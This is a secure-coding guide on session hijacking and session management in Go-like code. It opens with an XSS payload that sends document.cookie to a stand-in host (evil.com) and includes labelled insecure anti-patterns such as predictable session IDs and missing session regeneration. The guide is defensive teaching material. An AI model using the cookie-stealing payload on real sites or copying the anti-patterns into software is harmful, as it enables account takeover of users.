Session Hijacking #

// XSS payload stealing session cookies
// Inserted by the attacker in a comment form or other vulnerable input

<script>
// Get all non-HttpOnly cookies
const stolen = document.cookie;

// Send them to the attacker's server
new Image().src = 'https://evil.com/steal?data=' +
  encodeURIComponent(stolen) +
  '&url=' + encodeURIComponent(location.href);
</script>

// With the received session token, the attacker can:
// 1. Set the cookie in their browser
// 2. Access the application as the victim

// Prevention:
// - HttpOnly cookies: document.cookie doesn't contain the session token
// - CSP: restricts which scripts can run and where fetches can go
// - Fix the XSS in the application

// ANTI-PATTERN: not regenerating the session ID after login
func loginUnsafe(req Request, res Response) {
    email := req.Form("email")
    password := req.Form("password")
    user := verifyCredentials(email, password)

    if user != nil {
        // ✗ Session ID stays the same — session fixation vulnerable!
        session.Set("user_id", user.ID)
        session.Set("logged_in", true)
        res.Redirect("/dashboard")
    }
}

// CORRECT: always regenerate the session ID after successful login
func loginSafe(req Request, res Response) {
    email := req.Form("email")
    password := req.Form("password")
    user := verifyCredentials(email, password)

    if user != nil {
        // Save the data that needs carrying over
        oldFlashMessages := session.Get("flash_messages")

        // ✓ Create a new, different session — delete the old one
        session.Clear()       // completely clear the old session
        session.Regenerate()  // or use a regenerate method if available

        // Set the new session data
        session.Set("user_id", user.ID)
        session.Set("logged_in", true)
        session.Set("created_at", time.Now().UTC().Format(time.RFC3339))
        session.Set("ip_at_login", req.RemoteAddr)
        session.Set("ua_at_login", req.UserAgent())

        // Restore flash messages if needed
        session.Set("flash_messages", oldFlashMessages)

        res.Redirect("/dashboard")
    }
}

// ANTI-PATTERN: guessable session IDs
// Time-based — sequential and predictable
var unsafeTimeID = strconv.FormatInt(time.Now().Unix(), 10)

// Regular random — not cryptographic, predictable with the same seed
var unsafeRandomID = strconv.Itoa(rand.Intn(900000) + 100000)

// MD5 of user info — reversible or rainbow-tableable
var unsafeMd5ID = fmt.Sprintf("%x", md5.Sum([]byte(userID+email)))

// CORRECT: cryptographically secure session IDs
// 32 bytes = 256 bits of entropy
// URL-safe base64 encoding → a string safe for cookies
func generateSessionID() string {
    return randomURLSafe(32)
}

// Verifying session ID strength:
// randomURLSafe(32) produces ~43 characters
// Entropy: 256 bits
// Brute force possibilities: 2^256 ≈ 10^77 combinations
// At 1 billion attempts per second: longer than the age of the universe

// ANTI-PATTERN: logout only deletes the cookie
func logoutUnsafe(res Response, req Request) {
    res.DeleteCookie("session") // only deletes client-side
    res.Redirect("/login")
    // The session in Redis/DB still exists and is still valid!
}

// CORRECT: invalidate the session server-side AND delete the cookie
func logoutSafe(res Response, req Request) {
    sessionToken := req.Cookie("session")

    if sessionToken != "" {
        // Remove the session from the backend storage
        redisClient.Delete("session:" + sessionToken)
        // Or with a database:
        // Session.query.filter_by(token=sessionToken).delete()
    }

    res.SetCookie(&http.Cookie{
        Name:     "session",
        Value:    "",
        MaxAge:   -1,
        HttpOnly: true,
        Secure:   true,
        SameSite: http.SameSiteLaxMode,
    })
    res.Redirect("/login")
}

// A Secure Session Store — Redis-backed sessions
func createSession(userID int, req Request) string {
    sessionToken := randomURLSafe(32)

    sessionData := map[string]string{
        "user_id":    strconv.Itoa(userID),
        "created_at": time.Now().UTC().Format(time.RFC3339),
        "last_active": time.Now().UTC().Format(time.RFC3339),
        "ip":          req.RemoteAddr,
        "user_agent":  truncate(req.UserAgent(), 200), // limit the length
    }

    // Store in Redis with a TTL
    redisClient.HSet("session:"+sessionToken, sessionData)
    redisClient.Expire("session:"+sessionToken, SESSION_TTL_SECONDS)

    return sessionToken
}

func getSession(sessionToken string, req Request) map[string]string {
    if sessionToken == "" {
        return nil
    }

    data := redisClient.HGetAll("session:" + sessionToken)
    if len(data) == 0 {
        return nil
    }

    // Check the idle timeout
    lastActive, _ := time.Parse(time.RFC3339, data["last_active"])
    if time.Since(lastActive).Seconds() > float64(IDLE_TTL_SECONDS) {
        invalidateSession(sessionToken)
        return nil
    }

    // Update last_active (rolling timeout)
    redisClient.HSet("session:"+sessionToken, "last_active",
        time.Now().UTC().Format(time.RFC3339))

    return data
}

func invalidateSession(sessionToken string) {
    redisClient.Delete("session:" + sessionToken)
}

func invalidateAllSessions(userID int) {
    // Log out from all devices — useful after password resets
    // Scan all session keys (in production, maintain a set of the user's sessions)
    // Or store the list of sessions per user in a Redis set
    userSessions := redisClient.SMembers(fmt.Sprintf("user_sessions:%d", userID))
    for _, token := range userSessions {
        redisClient.Delete("session:" + token)
    }
    redisClient.Delete(fmt.Sprintf("user_sessions:%d", userID))
}

// Binding sessions to a user's context — validate that the request
// comes from the same context as when the session was created.
func validateSessionContext(session map[string]string, req Request) bool {
    // Check the User-Agent
    currentUA := req.UserAgent()
    sessionUA := session["user_agent"]

    // Flexible comparison — UAs can change due to browser updates
    // but drastic changes (Chrome → Firefox) are suspicious
    if !userAgentsSimilar(currentUA, sessionUA) {
        logSuspiciousSession(session, req, "user_agent_mismatch")
        // Option: invalidate the session or require re-auth
        return false
    }

    // Check IP address changes (optional and careful)
    // IPs can legitimately change (mobile network switches, VPNs)
    // Don't invalidate immediately — use for risk scoring only
    currentIP := req.RemoteAddr
    sessionIP := session["ip"]

    if currentIP != sessionIP {
        // Log as an anomaly, but don't block immediately
        logSuspiciousSession(session, req, "ip_changed")
        // Consider risk scoring here
    }

    return true
}

// Check whether two user agents come from the same browser.
func userAgentsSimilar(ua1, ua2 string) bool {
    // Extract the browser name only (Chrome, Firefox, Safari, etc.)
    browserPattern := regexp.MustCompile(`(Chrome|Firefox|Safari|Edge|Opera)`)
    browser1 := browserPattern.FindString(ua1)
    browser2 := browserPattern.FindString(ua2)
    if browser1 != "" && browser2 != "" {
        return browser1 == browser2
    }
    return true // can't be compared, assume OK
}

// Anomaly patterns to detect:

func detectSessionAnomalies(sessionToken string, req Request) {
    session := getSession(sessionToken, req)
    if session == nil {
        return
    }

    anomalies := []Anomaly{}

    // 1. Detect concurrent sessions from different locations simultaneously
    activeLocations := getActiveLocationsForUser(session["user_id"])
    currentLocation := getGeoFromIP(req.RemoteAddr)
    if len(activeLocations) > 1 && !contains(activeLocations, currentLocation) {
        anomalies = append(anomalies, Anomaly{
            Type:   "concurrent_location",
            Detail: fmt.Sprintf("Active sessions from %v and %s", activeLocations, currentLocation),
        })
    }

    // 2. Detect impossible geographic travel
    // (login from Jakarta, then 5 minutes later from New York)
    lastLocation := session["last_known_location"]
    if lastLocation != "" && isImpossibleTravel(
        lastLocation, currentLocation,
        5, // 5 minutes isn't enough to cross continents
    ) {
        anomalies = append(anomalies, Anomaly{
            Type:   "impossible_travel",
            Detail: fmt.Sprintf("From %s to %s in a short time", lastLocation, currentLocation),
        })
    }

    // 3. Detect access outside the user's normal hours
    userTimezone := session["timezone"]
    localHour := getLocalHour(userTimezone)
    if localHour < 4 || localHour > 23 { // activity between 00:00-04:00 local
        anomalies = append(anomalies, Anomaly{
            Type:   "unusual_hour",
            Detail: fmt.Sprintf("Activity at %d:00 in the user's local time", localHour),
        })
    }

    if len(anomalies) > 0 {
        for _, anomaly := range anomalies {
            logSecurityEvent("session_anomaly", map[string]any{
                "session_token_hash": hashToken(sessionToken),
                "user_id":            session["user_id"],
                "anomaly":            anomaly,
                "request_ip":         req.RemoteAddr,
            })
        }

        // Trigger actions based on severity
        if hasImpossibleTravel(anomalies) {
            // Invalidate the session immediately — this is highly suspicious
            invalidateSession(sessionToken)
            sendSecurityAlertEmail(session["user_id"], anomalies)
        } else {
            // Require re-authentication (step-up authentication)
            flagSessionForReauth(sessionToken)
        }
    }
}

const MAX_CONCURRENT_SESSIONS = 3

func createSessionWithLimit(userID int, req Request) string {
    // Get all of this user's active sessions
    userSessionsKey := fmt.Sprintf("user_sessions:%d", userID)
    activeSessions := redisClient.SMembers(userSessionsKey)

    // If the limit is reached, remove the oldest
    if len(activeSessions) >= MAX_CONCURRENT_SESSIONS {
        // Find the oldest session
        var oldestToken string
        var oldestTime time.Time

        for _, token := range activeSessions {
            sessionData := redisClient.HGet(fmt.Sprintf("session:%s", token), "created_at")
            if sessionData != "" {
                created, _ := time.Parse(time.RFC3339, sessionData)
                if oldestTime.IsZero() || created.Before(oldestTime) {
                    oldestTime = created
                    oldestToken = token
                }
            }
        }

        if oldestToken != "" {
            // Invalidate the oldest session
            invalidateSession(oldestToken)
            redisClient.SRem(userSessionsKey, oldestToken)
        }
    }

    // Create the new session
    sessionToken := createSession(userID, req)

    // Track this session for the user
    redisClient.SAdd(userSessionsKey, sessionToken)
    redisClient.Expire(userSessionsKey, SESSION_TTL_SECONDS)

    return sessionToken
}

// For the 'manage active devices' feature shown to users.
func getUserActiveSessions(userID int) []SessionInfo {
    userSessionsKey := fmt.Sprintf("user_sessions:%d", userID)
    sessionTokens := redisClient.SMembers(userSessionsKey)

    sessions := []SessionInfo{}
    for _, token := range sessionTokens {
        data := redisClient.HGetAll(fmt.Sprintf("session:%s", token))
        if len(data) > 0 {
            sessions = append(sessions, SessionInfo{
                TokenLast4: token[len(token)-4:],
                CreatedAt:  data["created_at"],
                LastActive: data["last_active"],
                IP:         data["ip"],
                UserAgent:  truncate(data["user_agent"], 50),
            })
        }
    }

    return sessions
}

// The difference between idle and absolute timeouts:

// Idle timeout:
// → The session expires after N minutes of inactivity
// → Protects against abandoned sessions (users forgetting to log out)
// → Can be extended by activity (sliding timeout)
var IDLE_TIMEOUT = 30 * time.Minute

// Absolute timeout:
// → The session expires N hours after creation, no matter what
// → Forces periodic re-authentication
// → Limits the window if a session is compromised without being noticed
var ABSOLUTE_TIMEOUT = 8 * time.Hour

func checkSessionValidity(session map[string]string) (bool, string) {
    now := time.Now().UTC()

    // Check the absolute timeout
    createdAt, _ := time.Parse(time.RFC3339, session["created_at"])
    if now.Sub(createdAt) > ABSOLUTE_TIMEOUT {
        return false, "absolute_timeout"
    }

    // Check the idle timeout
    lastActive, _ := time.Parse(time.RFC3339, session["last_active"])
    if now.Sub(lastActive) > IDLE_TIMEOUT {
        return false, "idle_timeout"
    }

    return true, ""
}

// ✗ Anti-pattern 1: cryptographically insecure session IDs
func antiPattern1(user User) {
    sessionID := strconv.Itoa(user.ID) + strconv.FormatInt(time.Now().Unix(), 10)
    // Sequential, predictable → guessable
}

// ✗ Anti-pattern 2: not regenerating session IDs after login
// Session fixation vulnerability

// ✗ Anti-pattern 3: sessions without expiries
func antiPattern3(token string, data map[string]any) {
    redisClient.HSet("session:"+token, data)
    // No TTL → sessions valid forever → unlimited hijacking windows
}

// ✗ Anti-pattern 4: logout not invalidating server-side
func antiPattern4(res Response) {
    res.DeleteCookie("session") // only deletes client-side
}

// ✗ Anti-pattern 5: long session IDs stored in URLs
// /dashboard?session=eyJhbGc...
// URLs are stored in browser history, server logs, referrer headers

// ✗ Anti-pattern 6: no anomaly monitoring
// Compromised sessions go undetected until users report them

// ✗ Anti-pattern 7: leaving all user sessions active after password changes
// If a password is changed because of compromise, all sessions must be invalidated
func changePassword(userID int, newPassword string) {
    updatePassword(userID, newPassword)
    // ✗ Forgot to invalidate all existing sessions!
    // An attacker who already has a session can still access
}

// ✓ Correct:
func changePasswordSafe(userID int, newPassword string, currentSessionToken string) {
    updatePassword(userID, newPassword)
    // Invalidate all sessions except the currently active one (optional)
    invalidateAllSessionsExcept(userID, currentSessionToken)
    sendNotification(userID, "password_changed_all_devices_logged_out")
}